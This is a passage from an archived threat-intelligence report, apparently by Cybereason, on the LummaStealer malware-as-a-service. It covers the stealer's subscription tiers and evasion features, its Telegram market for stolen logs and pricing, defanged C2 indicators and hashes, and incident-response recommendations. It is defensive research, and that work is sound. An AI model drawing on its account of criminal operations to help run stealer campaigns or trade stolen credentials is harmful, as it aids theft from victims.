for\r\ncompromised information - complete with a rating system, advanced search capabilities, and flexible pricing. \r\nLummaStealer has been active on the market for two years, marking each anniversary with celebrations on the darknet.\r\nThese events are used to showcase new features and build community engagement within cybercriminal circles.\r\nLummaStealer celebrating two years of operation\r\nIn recent months, LummaStealer has been actively targeting various sectors through sophisticated campaigns:\r\nJune 2024: The Chilean National Computer Security Incident Response Team (CSIRT) reported a significant increase\r\nin LummaStealer distribution. The malware was disseminated via phishing emails, deceptive websites, and \"clickfix\"\r\ntechniques, where users were tricked into executing malicious commands, leading to the theft of personal and\r\nfinancial information.\r\nOctober 2024: The Cyber Express highlighted a campaign where LummaStealer, in conjunction with the Amadey\r\nBot, specifically targeted the manufacturing industry. Attackers employed phishing emails and malicious downloads\r\nto infiltrate systems, aiming to exfiltrate sensitive data and compromise network security within the sector.\r\nThese incidents underscore LummaStealer's evolving tactics and its persistent threat across different industries.\r\nDarknet Operation\r\nAdvertisement on one of the darknet forums\r\nhttps://www.cybereason.com/blog/threat-analysis-lummastealer-2.0\r\nPage 12 of 21\n\nAs a MaaS, LummaStealer offers three main subscription tiers - Experienced, Professional, and Corporate - each with a\r\ndistinct set of features, customization options, and tools for managing malware campaigns:\r\nExperienced\r\nCreate up to 3 filters and 3 build tags\r\nBulk download of logs and search by custom queries\r\nSorting by various parameters (e.g., country, wallets)\r\nCleanup empty logs and view stats for “dummy” entries\r\nLimited Telegram notifications (1 channel or bot)\r\nProfessional\r\nIncludes all Experienced features plus:\r\nUnlimited filters, mass log deletion, and log-sharing options\r\nAdvanced widgets for log quality and filtering\r\nUnlimited build tags and extended search/export of logs\r\nMonitor neighbors in logs and assess log quality\r\nCreate and edit grabber profiles (add/remove browsers, set file paths, apply masks/variables, etc.)\r\nHot editing of profiles during campaigns\r\nNon-resident loader, reverse proxy, and Google Account cookie recovery\r\nCorporate\r\nEverything from Professional, plus:\r\nDedicated build cleaning line (reduced detection rate)\r\nAdd/remove extensions in the file grabber config\r\nHeavensGate implementation and LNK builder\r\nEarly access to new features before they roll out to lower tiers\r\nBuilds are randomly generated for each user, due to the integrated morphing module\r\nGiven the features mentioned, we can assume that the new variant described earlier in the article belongs to either the\r\n“Professional” or “Corporate” subscription tier, given its support for non-resident loaders.\r\nWe analyzed the monthly frequency of updates for LummaStealer based on forum posts detailing its changelogs. The table\r\nbelow illustrates the number of updates released each month since its launch, providing insights into development trends and\r\nshifts in focus over time.\r\nLummaStealer changelog analysis\r\nLaunched in December 2022, LummaStealer initially focused on building momentum through a marketing campaign on\r\nforums (Dec 2022 – Jun 2023). This period saw active development and the addition of new features. However, after the log\r\nmarket was opened (Aug 2024), development efforts slowed down significantly as focus shifted toward monetization. The\r\nsharp drop in updates during September and October 2024 could reflect seasonal trends, possibly related to students\r\nreturning to school or other external factors.\r\nMonetization without intermediaries\r\nThe operators of LummaStealer run an internal marketplace on Telegram, accessible via an automated bot called\r\n@lu*********bot, where thousands of logs are bought and sold daily. They also include features like a rating system to\r\nencourage quality sellers, advanced search options for both passwords and cookies, and a wide price range. Coupled with\r\n24/7 support, the marketplace aims to provide a seamless experience for anyone trading stolen data, reflecting a trend seen\r\nacross various Telegram and darknet-based stealer communities.\r\nhttps://www.cybereason.com/blog/threat-analysis-lummastealer-2.0\r\nPage 13 of 21\n\nLumma Market logo\r\nTelegram bot automation\r\nThe extent of the marketplace, launched on August 2, 2024, demonstrates why it has rapidly gained popularity within\r\ncybercriminal circles compared to alternatives like Vidar Stealer and others. Built directly into Telegram and powered by an\r\nautomated bot, the platform simplifies log trading while maintaining the privacy and anonymity demanded in such illicit\r\ndealings.\r\nLummaMarket UI on the malware control panel\r\nOne of the key aspects contributing to its success is the detailed presentation of each lot, which provides clear and concise\r\ninformation for potential buyers. Each listing includes key details such as the number of passwords and cookies, relevant\r\napplications (e.g., Azure, Discord), and the presence or absence of wallets and filters. \r\nThis transparency allows buyers to quickly assess the value of a log before making a purchase.\r\nhttps://www.cybereason.com/blog/threat-analysis-lummastealer-2.0\r\nPage 14 of 21\n\nLot information on the Telegram market bot\r\nThe advanced search and filtering capabilities further enhance the marketplace’s user-friendliness. Buyers can narrow down\r\ntheir searches using specific criteria, such as the presence of passwords, cookies, or a combination of both. Filters by the\r\nnumber of cookies, geographic location, and price also enable efficient targeting of logs that meet the buyer’s specific needs.\r\nThis level of precision not only speeds up the buying process but also highlights the marketplace's sophisticated\r\nfunctionality compared to competitors.\r\nSearch and filter\r\ncapabilities of the bot\r\nAnother key feature is the seller rating system, which incentivizes high-quality offerings and fosters a sense of trust within\r\nthe darknet community. Each seller is assigned a storefront number, and their ratings are prominently displayed. Buyers can\r\nview the likes and reputation of a seller directly through the interface, enabling informed decisions and mitigating the risks\r\nassociated with poor-quality data. This system closely mirrors legitimate e-commerce platforms, which likely contributes to\r\nits popularity among users.\r\nRating system via “Likes” counter\r\nPricing flexibility is another factor that sets the LummaC2 marketplace apart. Sellers are free to set their own prices, with\r\nlogs ranging from as little as $0.10 to $1,000, depending on their perceived value. This wide range accommodates both low-budget buyers and sophisticated cybercriminals seeking premium data.\r\nhttps://www.cybereason.com/blog/threat-analysis-lummastealer-2.0\r\nPage 15 of 21\n\nData Buyer Profile\r\nThe marketplace also boasts a seamless financial ecosystem, supporting deposits via Bitcoin and Ethereum with a minimum\r\namount of $50. These cryptocurrencies ensure anonymity while providing a simple way for users to manage their balances.\r\nSellers, on the other hand, receive 70% of each sale, with the remaining 30% retained as a platform fee.\r\nCryptocurrency withdrawal UI\r\nPublic documentation\r\nIn addition to these features, the LummaStealer ecosystem is supported by openly available documentation hosted on\r\nGitBook. This documentation includes detailed guides on configuring and using LummaStealer effectively, with clear\r\ninstructions tailored for both experienced users and beginners. Additionally, an alternative platform on Telegram provides\r\nfurther insights, emphasizing the accessibility of this malware-as-a-service platform even to less skilled operators. \r\nOfficial documentation of the LummaStealer\r\nMaaS\r\nFor instance, the GitBook documentation outlines practical examples of setting up campaigns, managing logs, and\r\noptimizing configurations, thus lowering the barrier to entry for aspiring cybercriminals. This documentation provides step-by-step guides for users and sellers alike, detailing the marketplace's usage, rules, and processes. The transparency and\r\naccessibility of this documentation further enhances the marketplace's usability, allowing even less experienced users (so-called “script-kiddies”) to navigate its features with ease.\r\nThe combination of detailed lot descriptions, advanced search options, a transparent rating system, flexible pricing and\r\ndetailed documentation creates an efficient and user-friendly environment for trading logs containing stolen user data. These\r\nfeatures, coupled with the accessibility of Telegram as a platform, likely explain the growing popularity of LummaC2 over\r\nother competitors in the stealer ecosystem. Its focus on simplicity, usability, and community-driven trust mechanisms\r\nhttps://www.cybereason.com/blog/threat-analysis-lummastealer-2.0\r\nPage 16 of 21\n\ndemonstrates a trend toward the professionalization of illicit marketplaces, further blurring the lines between legitimate and\r\ncriminal operations.\r\nIOCs\r\nCybereason shared a list of indicators of compromise related to this research :\r\nIOC IOC type Description\r\nklipderiq[.]shop DOMAIN C2\r\ncheck[.]qlkwr[.]com DOMAIN C2\r\n172[.]67[.]144[.]135 IP C2\r\n104[.]21[.]224 IP C2\r\nxian[.]klipderiq[.]shop DOMAIN C2\r\n172[.]67[.]144[.]135 IP C2\r\nsimplerwebs[.]world DOMAIN C2\r\naffc[.]klipcewucyu[.]shop DOMAIN C2\r\nklipdiheqoe[.]shop DOMAIN C2\r\nEf85ba125184cbb92b3abf780fa9dbf0a1f1d4d0  HASH EXECUTABLE\r\n104[.]21[.]64[.]1 IP C2\r\nextranet-captcha[.]com \u003e 77.105.164[.]117 DOMAIN/IP C2\r\nkliphylj[.]shop DOMAIN C2\r\nklipbyxycaa[.]shop DOMAIN C2\r\ngoatstuff[.]sbs DOMAIN C2\r\nawagama2[.]org DOMAIN  C2\r\n176[.]113[.]115[.]170 DOMAIN C2\r\nt1.awagama2[.]org DOMAIN C2\r\nawagama[.]org DOMAIN C2\r\nhttps://www.cybereason.com/blog/threat-analysis-lummastealer-2.0\r\nPage 17 of 21\n\nsavecoupons[.]store DOMAIN C2\r\nklipbazyxui[.]shop DOMAIN C2\r\nb133d42502750817aa8e88119ff36158d2f8ecee HASH EXECUTABLE\r\ndeduhko2.klipzyroloo[.]shop \u003e 172.67.144[.]15 DOMAIN/IP C2\r\nsolve.gevaq[.]com \u003e 104.21.16[.]142 DOMAIN/IP C2\r\ntopofsuper[.]store DOMAIN C2\r\nonceletthemcheck[.]com DOMAIN C2\r\ndma.sportstalk-musiclover[.]com DOMAIN C2\r\nscrutinycheck[.]cash DOMAIN C2\r\n104[.]21[.]16[.]1 IP C2\r\natsuka.thrivezest[.]org DOMAIN C2\r\nsolve.fizq[.]net DOMAIN C2\r\nsos-at-vie-1.exo[.]io DOMAIN C2\r\npawpaws.readit-carfanatics[.]com DOMAIN C2\r\nanita2[.]snuggleam[.]org DOMAIN C2\r\nhookylucnh[.]click \u003e 104.21.35[.]211 DOMAIN/IP C2\r\nbuck2nd[.]oss-eu-central-1[.]aliyuncs[.]com DOMAIN C2\r\nsakura[.]holistic-haven[.]shop DOMAIN C2\r\n30b18eb4082b8842fea862c2860255edafc838ab HASH EXECUTABLE\r\nf2ec439b1f1b8d7dcc38d979bcf6ad64fe437122 HASH EXECUTABLE\r\npub-e62cce9a08224552b513d24397cb4413[.]r2[.]dev DOMAIN C2\r\nheavens[.]holistic-haven[.]shop DOMAIN C2\r\nhttps://www.cybereason.com/blog/threat-analysis-lummastealer-2.0\r\nPage 18 of 21\n\n0551cdbf681c7ce31754247291dc550df0807cee HASH EXECUTABLE\r\ndecd01a95a05f557720e62ada86fa929f4687e88 HASH EXECUTABLE\r\n279ec364b8bc3244335c47ed2586d387e448ac7b HASH EXECUTABLE\r\n79d7a6e7441d478fc81638e6ed458e898e0ebf2b HASH EXECUTABLE\r\n88958d7c9749b7d085ee28d9fa50151a505eba09 HASH EXECUTABLE\r\nb9ff81cc8ad9e4d30df66fe520d1a0f5231902a6 HASH EXECUTABLE\r\na2840e3927351244f253d54389a66342a4f6be33 HASH EXECUTABLE\r\n60e30eaeedc7abb079fd7e6d2d8f486de5a9af38 HASH EXECUTABLE\r\nd896764e7ce9e8685ce4e11aa49d556f8a23a547 HASH EXECUTABLE\r\n8b0f45b361b9b74a5e4383d692e281a59f44f508 HASH EXECUTABLE\r\n8bb8f2324aa1aca4da6fbea5cdaad4f66263b545 HASH EXECUTABLE\r\n8bb8f2324aa1aca4da6fbea5cdaad4f66263b545 HASH EXECUTABLE\r\nded3ed8724e5913d341b3eaca9bd9f47f0e4a4a2 HASH EXECUTABLE\r\nCybereason Recommendations:\r\n It is crucial to implement strategic measures to mitigate risks when facing threats such as the LummaStealer. The following\r\nstrategical steps would be beneficial in order to contain and eradicate the incident as soon as possible: \r\nISOLATE THE INFECTED MACHINE: Immediately disconnect the compromised device from the network to\r\nprevent any propagation/lateral movement and further cause to data exfiltration. \r\nLOCK ACTIVE USER SESSIONS: Close all active sessions on the affected user to limit the attacker’s access. \r\nBLOCK ALL USER ACCOUNTS ON THE MACHINE: Since credential dumping scripts like mimikatz have\r\nbeen observed, it is crucial to disable all user accounts present on the compromised endpoint to restrict unauthorized\r\naccess. \r\nREIMAGE THE INFECTED MACHINE: Restore the system by re-imaging the device to remove fully all\r\nmalicious artifacts. \r\nRESET USER CREDENTIALS: Ensure all credentials related to the compromised machine including accounts,\r\nbrowser stored passwords, crypto wallets or any sensitive related information stored on the device are reset.\r\nAdditionally apply 2FA to where possible. \r\nBLOCK IOCs: Ensure to block domains/IP addresses observed during the incident from your organizational\r\nfirewall/proxy/ email gateway. \r\nEDUCATE USERS: As usual the initial access can’t be done without human interaction. Educate users to identify\r\nand avoid suspicious CAPTCHA prompts on untrusted sites and to detect the phishing emails.\r\nABOUT THE RESEARCHERs\r\nhttps://www.cybereason.com/blog/threat-analysis-lummastealer-2.0\r\nPage 19 of 21\n\nEvgeny Ananin, Threat Intelligence Analyst, Cybereason\r\nEvgeny is a Threat Intelligence Analyst on the Cybereason Threat Intelligence Team, leveraging Red Teaming expertise and\r\nOSINT to investigate adversarial infrastructure and Darknet activities. He previously contributed to advanced malware\r\nresearch and penetration testing.\r\nJun Kitajima, GSOC Analyst, Cybereason\r\nJun is a cybersecurity analyst in the EMEA GSOC department at Cybereason, specializing in threat detection and response ,\r\nwith hands-on expertise in malware analysis and incident handling. \r\nPatryk Kowalik, GSOC Analyst, Cybereason\r\nPatryk is a GSOC Analyst with the Cybereason Global SOC team. He is involved in MalOp Investigation and Threat\r\nHunting. He is deeply interested in threat intelligence, malware reverse engineering, and penetration testing. He holds a\r\nMaster’s degree in Cybersecurity from the Wrocław University of Science and Technology.\r\nElena Odier, Threat Hunter, Cybereason\r\nElena Odier is a Security Analyst with the Cybereason Global SOC team. She is involved in MalOp Investigation,\r\nescalations and Threat Hunting. Previously, Elena worked in incident response at ANSSI (French National Agency for the\r\nSecurity of Information Systems). \r\nMikolaj Pulit, GSOC Analyst, Cybereason\r\nMikolaj is a GSOC Analyst in the EMEA Global SOC team. He primarily works in MalOp investigations, static/dynamic\r\nmalware analysis, and handling escalations. Additionally, he has an interest in Capture The Flag (CTF) activities.\r\nhttps://www.cybereason.com/blog/threat-analysis-lummastealer-2.0\r\nPage 20 of 21\n\nMark Tsipershtein, Security Researcher, Cybereason\r\nMark Tsipershtein, a security researcher at the Cybereason Security Research Team, focuses on research, analysis\r\nautomation and infrastructure. Mark has more than 20 years of experience in SQA, automation, and security research.\r\nSource: https://www.cybereason.com/blog/threat-analysis-lummastealer-2.0\r\nhttps://www.cybereason.com/blog/threat-analysis-lummastealer-2.0\r\nPage 21 of 21",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"ETDA"
	],
	"origins": [
		"web"
	],
	"references": [
		"https://www.cybereason.com/blog/threat-analysis-lummastealer-2.0"
	],
	"report_names": [
		"threat-analysis-lummastealer-2.0"
	],
	"threat_actors": [
		{
			"id": "d90307b6-14a9-4d0b-9156-89e453d6eb13",
			"created_at": "2022-10-25T16:07:23.773944Z",
			"updated_at": "2026-04-10T02:00:04.746188Z",
			"deleted_at": null,
			"main_name": "Lead",
			"aliases": [
				"Casper",
				"TG-3279"
			],
			"source_name": "ETDA:Lead",
			"tools": [
				"Agentemis",
				"BleDoor",
				"Cobalt Strike",
				"CobaltStrike",
				"RbDoor",
				"RibDoor",
				"Winnti",
				"cobeacon"
			],
			"source_id": "ETDA",
			"reports": null
		},
		{
			"id": "dfee8b2e-d6b9-4143-a0d9-ca39396dd3bf",
			"created_at": "2022-10-25T16:07:24.467088Z",
			"updated_at": "2026-04-10T02:00:05.000485Z",
			"deleted_at": null,
			"main_name": "Circles",
			"aliases": [],
			"source_name": "ETDA:Circles",
			"tools": [],
			"source_id": "ETDA",
			"reports": null
		}
	],
	"ts_created_at": 1775434458,
	"ts_updated_at": 1775826720,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/902d4174a1988769c9a23e4f1d73b45450afc09f.pdf",
		"text": "https://archive.orkl.eu/902d4174a1988769c9a23e4f1d73b45450afc09f.txt",
		"img": "https://archive.orkl.eu/902d4174a1988769c9a23e4f1d73b45450afc09f.jpg"
	}
}